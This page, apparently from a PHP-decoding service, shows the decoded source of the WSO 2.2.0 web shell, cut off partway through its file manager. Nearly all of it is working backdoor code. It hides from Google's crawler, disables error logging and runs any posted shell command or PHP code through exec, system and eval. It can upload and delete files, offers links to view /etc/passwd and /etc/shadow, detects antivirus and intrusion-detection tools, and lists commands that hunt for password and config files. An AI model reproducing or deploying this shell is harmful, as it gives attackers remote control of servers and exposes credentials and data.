Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* WSO 2.2.0 (Web Shell by HARD _LINUX) */ $auth_pass = "21232f297a57a5a743894a0e4..

Decoded Output download

?>b'<?php
$color = "#fff";
$default_action = \'FilesMan\';
@define(\'SELF_PATH\', __FILE__);
if( strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\') !== false ) {
	header(\'HTTP/1.0 404 Not Found\');
	exit;
}
@session_start();
@error_reporting(0);
@ini_set(\'error_log\',NULL);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define(\'VERSION\', \'2.2.0\');
if( get_magic_quotes_gpc() ) {
	function stripslashes_array($array) {
		return is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);
	}
	$_POST = stripslashes_array($_POST);
}
function printLogin() {
	?>
	<center>
	<form method=post style="font-family:fantasy;">
	Password: <input type=password name=pass style="background-color:whitesmoke;border:1px solid #FFF;"><input type=submit value=\'>>\' style="border:none;background-color:teal;color:#fff;">
	</form></center>
	<?php
	exit;
}
if( !isset( $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] ))
	if( empty( $auth_pass ) ||
		( isset( $_POST[\'pass\'] ) && ( md5($_POST[\'pass\']) == $auth_pass ) ) )
		$_SESSION[md5($_SERVER[\'HTTP_HOST\'])] = true;
	else
		printLogin();

if( strtolower( substr(PHP_OS,0,3) ) == "win" )
	$os = \'win\';
else
	$os = \'nix\';
$safe_mode = @ini_get(\'safe_mode\');
$disable_functions = @ini_get(\'disable_functions\');
$home_cwd = @getcwd();
if( isset( $_POST[\'c\'] ) )
	@chdir($_POST[\'c\']);
$cwd = @getcwd();
if( $os == \'win\') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != \'/\' )
	$cwd .= \'/\';
	
if($os == \'win\')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -la",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate \'.conf\'",
		"locate .pwd files" => "locate \'.pwd\'",
		"locate .sql files" => "locate \'.sql\'",
		"locate .htpasswd files" => "locate \'.htpasswd\'",
		"locate .bash_history files" => "locate \'.bash_history\'",
		"locate .mysql_history files" => "locate \'.mysql_history\'",
		"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"	
	);

function printHeader() {
	if(empty($_POST[\'charset\']))
		$_POST[\'charset\'] = "UTF-8";
	global $color;
	?>
<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=<?=$_POST[\'charset\']?>\'><title><?=$_SERVER[\'HTTP_HOST\']?> - WSO <?=VERSION?></title>
<style>
	body {background-color:#000;color:#e1e1e1;}
	body,td,th	{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
	table.info	{color:#C3C3C3;background-color:#000;}
	span,h1,a	{color:<?=$color?> !important;}
	span		{font-weight:bolder;}
	h1			{border-left:5px solid teal;padding:2px 5px;font:14pt Verdana;background-color:#222;margin:0px;}
	div.content	{padding:5px;margin-left:5px;background-color:#000;}
	a			{text-decoration:none;}
	a:hover		{text-decoration:underline;}
	.ml1		{border:1px solid #444;padding:5px;margin:0;overflow:auto;}
	.bigarea	{width:100%;height:250px; }
	input, textarea, select	{margin:0;color:#fff;background-color:#444;border:1px solid #000; font:9pt Courier New;}
	form		{margin:0px;}
	#toolsTbl	{text-align:center;}
	.toolsInp	{width:300px}
	.main th	{text-align:left;background-color:#000;}
	.main tr:hover{background-color:#5e5e5e}
	.main td, th{vertical-align:middle}
	.l1			{background-color:#444}
	pre			{font:9pt Courier New;}
</style>
<script>
	function set(a,c,p1,p2,p3,charset) {
		if(a != null)document.mf.a.value=a;
		if(c != null)document.mf.c.value=c;
		if(p1 != null)document.mf.p1.value=p1;
		if(p2 != null)document.mf.p2.value=p2;
		if(p3 != null)document.mf.p3.value=p3;
		if(charset != null)document.mf.charset.value=charset;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		document.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = "ajax=true";
		for(i=0;i<document.mf.elements.length;i++)
			params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
		sr(\'<?=$_SERVER[\'REQUEST_URI\'];?>\', params);
	}
	function sr(url, params) {	
		if (window.XMLHttpRequest) {
			req = new XMLHttpRequest();
			req.onreadystatechange = processReqChange;
			req.open("POST", url, true);
			req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
			req.send(params);
		} 
		else if (window.ActiveXObject) {
			req = new ActiveXObject("Microsoft.XMLHTTP");
			if (req) {
				req.onreadystatechange = processReqChange;
				req.open("POST", url, true);
				req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
				req.send(params);
			}
		}
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				//alert(req.responseText);
				var reg = new RegExp("(\d+)([\S\s]*)", "m");
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} 
			else alert("Request error!");
	}
</script>
<head><body><div style="position:absolute;width:100%;background-color:#444;top:0;left:0;">
<form method=post name=mf style=\'display:none;\'>
<input type=hidden name=a value=\'<?=isset($_POST[\'a\'])?$_POST[\'a\']:\'\'?>\'>
<input type=hidden name=c value=\'<?=htmlspecialchars($GLOBALS[\'cwd\'])?>\'>
<input type=hidden name=p1 value=\'<?=isset($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\'?>\'>
<input type=hidden name=p2 value=\'<?=isset($_POST[\'p2\'])?htmlspecialchars($_POST[\'p2\']):\'\'?>\'>
<input type=hidden name=p3 value=\'<?=isset($_POST[\'p3\'])?htmlspecialchars($_POST[\'p3\']):\'\'?>\'>
<input type=hidden name=charset value=\'<?=isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\'?>\'>
</form>
<?php
	$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);
	$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname(\'r\');
	$kernel = @php_uname(\'s\');
	$millink=\'https://github.com/HARDLINUX/webshell/search?utf8=&q=\';
	if( strpos(\'Linux\', $kernel) !== false )
		$millink .= urlencode( \'Linux Kernel \' . substr($release,0,6) );
	else
		$millink .= urlencode( $kernel . \' \' . substr($release,0,3) );
	if(!function_exists(\'posix_getegid\')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(@posix_geteuid());
		$gid = @posix_getgrgid(@posix_getegid());
		$user = $uid[\'name\'];
		$uid = $uid[\'uid\'];
		$group = $gid[\'name\'];
		$gid = $gid[\'gid\'];
	}
	$cwd_links = \'\';
	$path = explode("/", $GLOBALS[\'cwd\']);
	$n=count($path);
	for($i=0;$i<$n-1;$i++) {
		$cwd_links .= "<a href=\'#\' onclick=\'g(\"FilesMan\",\"";
		for($j=0;$j<=$i;$j++)
			$cwd_links .= $path[$j].\'/\';
		$cwd_links .= "\")\'>".$path[$i]."/</a>";
	}
	$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');
	$opt_charsets = \'\';
	foreach($charsets as $item)
		$opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\';
	$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Infect\'=>\'Infect\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'Safe mode\'=>\'SafeMode\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\',\'Domains\'=>\'Domains\');
	
	if(!empty($GLOBALS[\'auth_pass\']))
	$m[\'Logout\'] = \'Logout\';
	$m[\'Self remove\'] = \'SelfRemove\';
	$menu = \'\';
	foreach($m as $k => $v)
		$menu .= \'<th width="\'.(int)(100/count($m)).\'%">[ <a href="#" onclick="g(\'\'.$v.\'\',null,\'\',\'\',\'\')">\'.$k.\'</a> ]</th>\';
	$drives = "";
	if ($GLOBALS[\'os\'] == \'win\') {
		foreach( range(\'a\',\'z\') as $drive )
		if (is_dir($drive.\':\\'))
			$drives .= \'<a href="#" onclick="g(\'FilesMan\',\'\'.$drive.\':/\')">[ \'.$drive.\' ]</a> \';
	}
	echo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\'.($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\').\'</span></td>\'.
		 \'<td><nobr>\'.substr(@php_uname(), 0, 120).\'  <a href="http://www.google.com/search?q=\'.urlencode(@php_uname()).\'" target="_blank">[Google]</a> <a href="\'.$millink.\'" target=_blank>[Exploit-Git]</a></nobr><br>\'.$uid.\' ( \'.$user.\' ) <span>Group:</span> \'.$gid.\' ( \'.$group.\' )<br>\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#00A8A8><b>OFF</b></font>\').\' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>\'.viewSize($totalSpace).\' <span>Free:</span> \'.viewSize($freeSpace).\' (\'.(int)($freeSpace/$totalSpace*100).\'%)<br>\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\'FilesMan\',\'\'.$GLOBALS[\'home_cwd\'].\'\',\'\',\'\',\'\')">[ home ]</a><br>\'.$drives.\'</td>\'.
		 \'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">\'.$opt_charsets.\'</optgroup></select><br><span>Server IP:</span><br>\'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'.
		 \'<table cellpadding=3 cellspacing=0 width=100% style="background-color:teal;"><tr>\'.$menu.\'</tr></table><div>\';
}

function printFooter() {
	$is_writable = is_writable($GLOBALS[\'cwd\'])?"<font color=teal>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
?>
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%">
	<tr>
		<td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS[\'cwd\']);?>"><input type=submit value=">>"></form></td>
		<td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
	</tr>
	<tr>
		<td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td>
		<td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td>
	</tr>
	<tr>
		<td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
		<td><form method=\'post\' ENCTYPE=\'multipart/form-data\'>
		<input type=hidden name=a value=\'FilesMAn\'>
		<input type=hidden name=c value=\'<?=htmlspecialchars($GLOBALS[\'cwd\'])?>\'>
		<input type=hidden name=p1 value=\'uploadFile\'>
		<input type=hidden name=charset value=\'<?=isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\'?>\'>
		<span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td>
	</tr>

</table>
</div>
</body></html>
<?php
}
if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false) ) { function posix_getpwuid($p) { return false; } }
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false) ) { function posix_getgrgid($p) { return false; } }
function ex($in) {
	$out = \'\';
	if(function_exists(\'exec\')) {
		@exec($in,$out);
		$out = @join("
",$out);
	}elseif(function_exists(\'passthru\')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	}elseif(function_exists(\'system\')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	}elseif(function_exists(\'shell_exec\')) {
		$out = shell_exec($in);
	}elseif(is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}
function viewSize($s) {
	if($s >= 1073741824)
		return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';
	elseif($s >= 1048576)
		return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';
	elseif($s >= 1024)
		return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';
	else
		return $s . \' B\';
}

function perms($p) {
	if (($p & 0xC000) == 0xC000)$i = \'s\';
	elseif (($p & 0xA000) == 0xA000)$i = \'l\';
	elseif (($p & 0x8000) == 0x8000)$i = \'-\';
	elseif (($p & 0x6000) == 0x6000)$i = \'b\';
	elseif (($p & 0x4000) == 0x4000)$i = \'d\';
	elseif (($p & 0x2000) == 0x2000)$i = \'c\';
	elseif (($p & 0x1000) == 0x1000)$i = \'p\';
	else $i = \'u\';
	$i .= (($p & 0x0100) ? \'r\' : \'-\');
	$i .= (($p & 0x0080) ? \'w\' : \'-\');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));
	$i .= (($p & 0x0020) ? \'r\' : \'-\');
	$i .= (($p & 0x0010) ? \'w\' : \'-\');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));
	$i .= (($p & 0x0004) ? \'r\' : \'-\');
	$i .= (($p & 0x0002) ? \'w\' : \'-\');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));
	return $i;
}
function viewPermsColor($f) { 
	if (!@is_readable($f))
		return \'<font color=#FF0000><b>\'.perms(@fileperms($f)).\'</b></font>\';
	elseif (!@is_writable($f))
		return \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';
	else
		return \'<font color=#00A8A8><b>\'.perms(@fileperms($f)).\'</b></font>\';
}
if(!function_exists("scandir")) {
	function scandir($dir) {
		$dh  = opendir($dir);
		while (false !== ($filename = readdir($dh))) {
    		$files[] = $filename;
		}
		return $files;
	}
}
function which($p) {
	$path = ex(\'which \'.$p);
	if(!empty($path))
		return $path;
	return false;
}
function actionSecInfo() {
	printHeader();
	echo \'<h1>Server security information</h1><div class=content>\';
	function showSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo \'<span>\'.$n.\': </span>\';
			if(strpos($v, "
") === false)
				echo $v.\'<br>\';
			else
				echo \'<pre class=ml1>\'.$v.\'</pre>\';
		}
	}
	
	showSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));
	showSecParam(\'Disabled PHP Functions\', ($GLOBALS[\'disable_functions\'])?$GLOBALS[\'disable_functions\']:\'none\');
	showSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));
	showSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));
	showSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));
	showSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');
	$temp=array();
	if(function_exists(\'mysql_get_client_info\'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists(\'mssql_connect\'))
		$temp[] = "MSSQL";
	if(function_exists(\'pg_connect\'))
		$temp[] = "PostgreSQL";
	if(function_exists(\'oci_connect\'))
		$temp[] = "Oracle";
	showSecParam(\'Supported databases\', implode(\', \', $temp));
	echo \'<br>\';
	
	if( $GLOBALS[\'os\'] == \'nix\' ) {
		$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
		$danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');
		$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
		showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"passwd\")\'>[view]</a>":\'no\');
		showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"etc\", \"shadow\")\'>[view]</a>":\'no\');
		showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));
		showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));
		if(!$GLOBALS[\'safe_mode\']) {
			echo \'<br>\';
			$temp=array();
			foreach ($userful as $item)
				if(which($item)){$temp[]=$item;}
			showSecParam(\'Userful\', implode(\', \',$temp));
			$temp=array();
			foreach ($danger as $item)
				if(which($item)){$temp[]=$item;}
			showSecParam(\'Danger\', implode(\', \',$temp));
			$temp=array();
			foreach ($downloaders as $item) 
				if(which($item)){$temp[]=$item;}
			showSecParam(\'Downloaders\', implode(\', \',$temp));
			echo \'<br/>\';
			showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));
			showSecParam(\'HDD space\', ex(\'df -h\'));
			showSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));
		}
	} else {
		showSecParam(\'OS Version\',ex(\'ver\')); 
		showSecParam(\'Account Settings\',ex(\'net accounts\')); 
		showSecParam(\'User Accounts\',ex(\'net user\'));
	}
	echo \'</div>\';
	printFooter();
}

function actionPhp() {
	if( isset($_POST[\'ajax\']) ) {
		$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
		ob_start();
		eval($_POST[\'p1\']);
		$temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"

	\\'")."\';
";
		echo strlen($temp), "
", $temp;
		exit; 
	}
	printHeader();
	if( isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\') ) {
		echo \'<h1>PHP info</h1><div class=content>\';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
		$tmp = preg_replace(\'!body {.*}!msiU\',\'\',$tmp);
		$tmp = preg_replace(\'!a:\w+ {.*}!msiU\',\'\',$tmp);
		$tmp = preg_replace(\'!h1!msiU\',\'h2\',$tmp);
		$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);
		$tmp = preg_replace(\'!body, td, th, h2, h2 {.*}!msiU\',\'\',$tmp);
		echo $tmp;
		echo \'</div><br>\';
	}
	if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
		$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
		echo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';
	echo \' <input type=checkbox name=ajax value=1 \'.($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';
	if(!empty($_POST[\'p1\'])) {
		ob_start();
		eval($_POST[\'p1\']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo \'</pre></div>\';
	printFooter();
}

function actionFilesMan() {
	printHeader();
	echo \'<h1>File manager</h1><div class=content>\';
	if(isset($_POST[\'p1\'])) {
		switch($_POST[\'p1\']) {
			case \'uploadFile\':
				if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))
					echo "Can\'t upload file!";
				break;
				break;
			case \'mkdir\':
				if(!@mkdir($_POST[\'p2\']))
					echo "Can\'t create new dir";
				break;
			case \'delete\':
				function deleteDir($path) {
					$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					rmdir($path);
				}
				if(is_array(@$_POST[\'f\']))
					foreach($_POST[\'f\'] as $f) {
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case \'paste\':
				if($_SESSION[\'act\'] == \'copy\') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = opendir($c.$s);
							while (($f = readdir($h)) !== false)
								if (($f != ".") and ($f != "..")) {
									copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
								}
						} elseif(is_file($c.$s)) {
							@copy($c.$s, $d.$s);
						}
					}
					foreach($_SESSION[\'f\'] as $f)
						copy_paste($_SESSION[\'cwd\'],$f, $GLOBALS[\'cwd\']);					
				} elseif($_SESSION[\'act\'] == \'move\') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = opendir($c.$s);
							while (($f = readdir($h)) !== false)
								if (($f != ".") and ($f != "..")) {
									copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
								}
						} elseif(is_file($c.$s)) {
							@copy($c.$s, $d.$s);
						}
					}
					foreach($_SESSION[\'f\'] as $f)
						@rename($_SESSION[\'cwd\'].$f, $GLOBALS[\'cwd\'].$f);
				}
				unset($_SESSION[\'f\']);
				break;
			default:
				if(!empty($_POST[\'p1\']) && (($_POST[\'p1\'] == \'copy\')||($_POST[\'p1\'] == \'move\')) ) {
					$_SESSION[\'act\'] = @$_POST[\'p1\'];
					$_SESSION[\'f\'] = @$_POST[\'f\'];
					foreach($_SESSION[\'f\'] as $k => $f)
						$_SESSION[\'f\'][$k] = urldecode($f);
					$_SESSION[\'cwd\'] = @$_POST[\'c\'];
				}
				break;
		}
		echo \'<script>document.mf.p1.value="";document.mf.p2.value="";</script>\';
	}
	$dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);
	if($dirContent === false) {	echo \'Can\'t open this folder!\'; return;	}
	global $sort;
	$sort = array(\'name\', 1);
	if(!empty($_POST[\'p1\'])) {
		if(preg_match(\'!s_([A-z]+)_(\d{1})!\', $_POST[\'p1\'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
?>
<script>
	function sa() {
		for(i=0;i<document.files.elements.length;i++)
			if(document.files.elements[i].type == \'checkbox\')
				document.files.elements[i].checked = document.files.elements[0].checked;
	}
</script>
<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
<form name=files method=post>
<?php
	echo "<tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")\'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = $links = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array(\'name\' => $dirContent[$i],
					 \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],
					 \'modify\' => date(\'Y-m-d H:i:s\',@filemtime($GLOBALS[\'cwd\'].$dirContent[$i])),
					 \'perms\' => viewPermsColor($GLOBALS[\'cwd\'].$dirContent[$i]),
					 \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),
					 \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),
					 \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS[\'cwd\'].$dirContent[$i]))
			$files[] = array_merge($tmp, array(\'type\' => \'file\'));
		elseif(@is_link($GLOBALS[\'cwd\'].$dirContent[$i]))
			$links[] = array_merge($tmp, array(\'type\' => \'link\'));
		elseif(@is_dir($GLOBALS[\'cwd\'].$dirContent[$i])&& ($dirContent[$i] != "."))
			$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));
	}
	$GLOBALS[\'sort\'] = $sort;
	function cmp($a, $b) {
		if($GLOBALS[\'sort\'][0] != \'size\')
			return strcmp($a[$GLOBALS[\'sort\'][0]], $b[$GLOBALS[\'sort\'][0]])*($GLOBALS[\'sort\'][1]?1:-1);
		else
			return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);
	}
	usort($files, "cmp");
	usort($dirs, "cmp");
	usort($links, "cmp");
	$files = array_merge($dirs, $links, $files);
	$l = 0;
	foreach($files as $f) {
		echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'view\')">\'.htmlspecialchars($f[\'name\']):\'g(\'FilesMan\',\'\'.$f[\'path\'].\'\');"><b>[ \'.htmlspecialchars($f[\'name\']).\' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'chmod\')">\'.$f[\'perms\']
